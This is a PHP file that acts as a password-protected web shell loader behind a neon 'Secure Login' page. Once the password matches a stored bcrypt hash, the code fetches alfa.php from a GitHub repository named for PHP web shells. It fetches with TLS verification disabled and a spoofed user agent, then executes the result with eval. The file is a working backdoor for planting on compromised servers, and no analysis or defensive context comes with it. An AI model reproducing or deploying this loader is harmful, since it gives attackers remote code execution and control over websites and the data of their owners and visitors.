﻿﻿<?php
session_start();

/**
 * Disable error reporting
 */
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        if (isset($_SESSION['loginweb'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['loginweb']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

function is_logged_in() {
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '$2y$10$vC4mK2Xm7V69Rr.wVxGT/OapYiH72OWGL4/XbbiJUwKe4ctCNPh/u';
    
    if (password_verify($entered_password, $hashed_password)) {
        $_SESSION['logged_in'] = true;
        $_SESSION['serverweb'] = 'mainweb';
    } else {
        $error_message = "Access Denied!";
    }
}

if (is_logged_in()) {
    $a = geturlsinfo('https://raw.githubusercontent.com/Web-phpshell/alfa-shell/refs/heads/main/alfa.php');
    eval('?>' . $a);
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Login</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: Arial, sans-serif;
        }
        
        body {
            background: #0a0a1a;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            color: #00ffff;
        }
        
        .login-container {
            background: rgba(10, 15, 30, 0.9);
            border-radius: 10px;
            padding: 40px 30px;
            width: 90%;
            max-width: 400px;
            border: 1px solid #00ffff;
            box-shadow: 0 0 20px rgba(0, 255, 255, 0.3);
        }
        
        .login-header {
            text-align: center;
            margin-bottom: 30px;
        }
        
        .login-header h1 {
            font-size: 24px;
            font-weight: bold;
            color: #00ffff;
            margin-bottom: 10px;
            text-shadow: 0 0 10px rgba(0, 255, 255, 0.5);
        }
        
        .login-header p {
            font-size: 14px;
            opacity: 0.8;
            color: #80ffff;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        label {
            display: block;
            margin-bottom: 8px;
            font-size: 14px;
            color: #00ffff;
            font-weight: bold;
        }
        
        input[type="password"] {
            width: 100%;
            padding: 12px 15px;
            background: rgba(5, 10, 25, 0.8);
            border: 1px solid #00ffff;
            border-radius: 5px;
            color: #00ffff;
            font-size: 16px;
            outline: none;
        }
        
        input[type="password"]:focus {
            box-shadow: 0 0 10px rgba(0, 255, 255, 0.5);
        }
        
        input[type="password"]::placeholder {
            color: rgba(0, 255, 255, 0.5);
        }
        
        .submit-btn {
            width: 100%;
            padding: 12px;
            background: #00ffff;
            border: none;
            border-radius: 5px;
            color: #000;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .submit-btn:hover {
            background: #00cccc;
            box-shadow: 0 0 15px rgba(0, 255, 255, 0.7);
        }
        
        .error-message {
            background: rgba(255, 0, 0, 0.1);
            border: 1px solid rgba(255, 0, 0, 0.4);
            border-radius: 5px;
            padding: 10px;
            margin-bottom: 20px;
            color: #ff4444;
            text-align: center;
            font-size: 14px;
        }
        
        .fire-effect {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 50px;
            background: linear-gradient(to top, 
                rgba(255, 100, 0, 0.4) 0%,
                rgba(255, 50, 0, 0.3) 30%,
                rgba(255, 0, 0, 0.2) 60%,
                transparent 100%);
            pointer-events: none;
        }
        
        .footer {
            text-align: center;
            margin-top: 20px;
            font-size: 12px;
            opacity: 0.6;
            color: #80ffff;
        }

        /* Simple particle effect - sangat ringan */
        .particle {
            position: fixed;
            background: #00ffff;
            border-radius: 50%;
            pointer-events: none;
            opacity: 0.3;
            animation: float 6s linear infinite;
        }

        @keyframes float {
            to {
                transform: translateY(-100vh);
            }
        }
    </style>
</head>
<body>
    <!-- Simple fire effect dengan CSS murni -->
    <div class="fire-effect"></div>
    
    <div class="login-container">
        <div class="login-header">
        </div>
        
        <?php if (isset($error_message)): ?>
            <div class="error-message">
                <?php echo $error_message; ?>
            </div>
        <?php endif; ?>
        
        <form method="POST" action="">
            <div class="form-group">
                <input type="password" id="password" name="password" placeholder="Enter password" required>
            </div>
            
            <button type="submit" class="submit-btn">LOGIN</button>
        </form>
    <script>
        // Ultra-light particle system - hanya 5 particles
        function createParticles() {
            const colors = ['#00ffff', '#ff00ff', '#ffff00'];
            for (let i = 0; i < 5; i++) {
                setTimeout(() => {
                    const particle = document.createElement('div');
                    particle.className = 'particle';
                    
                    const size = Math.random() * 3 + 1;
                    const left = Math.random() * 100;
                    const color = colors[Math.floor(Math.random() * colors.length)];
                    
                    particle.style.width = `${size}px`;
                    particle.style.height = `${size}px`;
                    particle.style.left = `${left}vw`;
                    particle.style.bottom = '0px';
                    particle.style.background = color;
                    particle.style.animationDuration = `${Math.random() * 4 + 3}s`;
                    
                    document.body.appendChild(particle);
                    
                    // Remove particle after animation
                    setTimeout(() => {
                        if (particle.parentNode) {
                            particle.parentNode.removeChild(particle);
                        }
                    }, 7000);
                }, i * 1000);
            }
        }

        // Initialize with minimal effects
        document.addEventListener('DOMContentLoaded', function() {
            createParticles();
            // Create particles every 6 seconds
            setInterval(createParticles, 6000);
        });

        // Simple input focus effect
        document.getElementById('password').addEventListener('focus', function() {
            this.style.boxShadow = '0 0 15px rgba(0, 255, 255, 0.7)';
        });

        document.getElementById('password').addEventListener('blur', function() {
            this.style.boxShadow = '0 0 10px rgba(0, 255, 255, 0.5)';
        });
    </script>
</body>
</html>
<?php
}
?>